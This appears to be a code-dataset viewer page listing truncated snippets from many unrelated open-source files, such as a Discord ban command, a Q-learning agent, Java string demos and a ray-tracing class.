private HateoasStripperInterceptorCo... |
ZerooCoding/music-bot | commands/ban.js | <gh_stars>1-10
const Discord = require('discord.js');
module.exports = {
name:"ban",
description:"Bans a person from the server",
async execute(message, args, client){
if(!message.member.hasPermission('BAN_MEMBERS')) return message.channel.send(`You cannot use this command.`);
let user = message.mentions.... |
guardian/giant | frontend/src/js/actions/email/getEmailThread.js | import {getEmailThread as getEmailThreadApi} from '../../services/EmailApi';
export function getEmailThread(uri) {
return dispatch => {
return getEmailThreadApi(uri)
.then(res => {
dispatch(receiveEmailThread(uri, res));
})
.catch(error => dispatch(errorR... |
mensinda/spirvPacker | cmake/templates/spvCfg.in.hpp | <reponame>mensinda/spirvPacker<gh_stars>1-10
/*
* Copyright (C) 2017 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless ... |
Tech-XCorp/visit-deps | windowsbuild/MSVC2017/Qwt/6.1.2/doc/html/search/pages_69.js | var searchData=
[
['installing_20qwt',['Installing Qwt',['../qwtinstall.html',1,'']]]
];
|
mulle-kybernetik-tv/xpost | src/lib/xpost_operator.c | <reponame>mulle-kybernetik-tv/xpost
/*
2 * Xpost - a Level-2 Postscript interpreter
* Copyright (C) 2013-2016, <NAME>
* Copyright (C) 2013, <NAME>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are ... |
ishine/deepx_core | src/graph/graph_test.cc | // Copyright 2019 the deepx authors.
// Author: <NAME> (<EMAIL>)
//
#include <deepx_core/common/stream.h>
#include <deepx_core/graph/graph.h>
#include <gtest/gtest.h>
#include <string>
#include <vector>
namespace deepx_core {
class GraphTest : public testing::Test {
protected:
Graph graph;
const GraphTarget* nu... |
medtune/Models_tf_keras | models/cnn/famous_cnn/__init__.py | from . import densenet
from . import mobilenet
from . import mobilenetv2
from . import inception_v3
from . import inception_resnet
from . import inception_resnet_v2
from . import resnet
from . import vgg16
from . import vgg19
# This dictionnary contains the different Convolutional
# Neural Nertworks that we can invoke... |
shyamalschandra/CNTK | bindings/python/cntk/contrib/deeprl/agent/tabular_qlearning.py | # Copyright (c) Microsoft. All rights reserved.
# Licensed under the MIT license. See LICENSE.md file in the project root
# for full license information.
# ==============================================================================
"""Tabular Q-learning."""
import copy
import numpy as np
from .agent import Agent... |
kekaiyuan/javaquestion | reflectdemo/src/kky/Test.java | package kky;
import java.lang.reflect.Method;
/**
* @author 柯凯元
* @create 2021/6/14 16:43
*/
public class Test {
public Test(){}
public void Test() {
System.out.println("I'm Test1");
}
public void Test(String str) {
System.out.println("I'm Test2");
}
public void Test(Str... |
sywhu/Java | day13/code/day13_StringBuffer/src/cn/itcast_05/StringBufferDemo.java | package cn.itcast_05;
/*
* 1:String,StringBuffer,StringBuilder的区别?
* A:String长度固定,StringBuffer和StringBuilder的长度可变。
* B:StringBuffer线程安全,效率低。StringBuilder线程不安全,效率高。
*
* 2:StringBuffer和数组的区别
* A:StringBuffer的长度可变,可以存储任意数据类型,最终结果其实是一个字符串。
* B:数组长度固定,存储同一种数据类型的元素。
*
* 3:看程序写结果:
* String作为参数传递,StringBuffer作为参... |
masakoyokozuka/sample2 | lib/util/string/check_digit.rb | class Util::String::CheckDigit
def self.check(value)
digit = 0
value.to_s.split(//).reverse.each_with_index do |chr, idx|
digit += chr.to_i * (idx.even? ? 3 : 1)
end
digit = (10 - (digit % 10)) % 10
value.to_s + digit.to_s
end
def self.get_digit(code)# m10w31
digit = 0
... |
tusharchoudhary0003/Custom-Football-Game | sources/p005cm/aptoide/p006pt/view/settings/C5480ha.java | package p005cm.aptoide.p006pt.view.settings;
import p026rx.p027b.C0129b;
/* renamed from: cm.aptoide.pt.view.settings.ha */
/* compiled from: lambda */
public final /* synthetic */ class C5480ha implements C0129b {
/* renamed from: a */
public static final /* synthetic */ C5480ha f9291a = new C5480ha();
... |
saulomendonca/live-bolao | app/services/prediction_service.rb | <filename>app/services/prediction_service.rb
class PredictionService
def initialize(game_id, crawler = VippredictorCrawler.new)
@crawler = crawler
@game_id = game_id
@parser = PredictionParser.new(@crawler, @game_id)
end
def populate_users_predictions
@game = Game.find(@game_id)
return fals... |
devrieda/stylesheet | spec/spec_helper.rb | <gh_stars>0
require 'rubygems'
require 'bundler/setup'
require_relative '../lib/stylesheet.rb'
require_relative '../spec/stubs/fake_request.rb'
include Stylesheet
RSpec.configure do |config|
end |
LamiumAmplexicaule/RayTracing | src/main/java/net/henbit/raytracing/nextweek/hittable/MovingSphere.java | <reponame>LamiumAmplexicaule/RayTracing
package net.henbit.raytracing.nextweek.hittable;
import net.henbit.raytracing.nextweek.AABB;
import net.henbit.raytracing.nextweek.HitRecord;
import net.henbit.raytracing.nextweek.Ray;
import net.henbit.raytracing.nextweek.Vector3;
import net.henbit.raytracing.nextweek.material.... |
GilbertLS/MovieCircle | app/web/containers/movie/components/index.js | exports.Ribbon = require('./ribbon').default;
exports.Backdrop = require('./backdrop').default;
exports.Cast = require('./cast').default;
exports.Overview = require('./overview').default;
exports.Recommendations = require('./recommendations').default;
|
IanFinlayson/tetra | source/lib/functions.cpp | /* functions.cpp
* this file builds a function lookup table so that when the interpreter
* encounters a function call, it can easily find the address of the
* appropriate node where the called function code resides since there is only
* one funciton table per program (even if using multiple files, the further
* fu... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.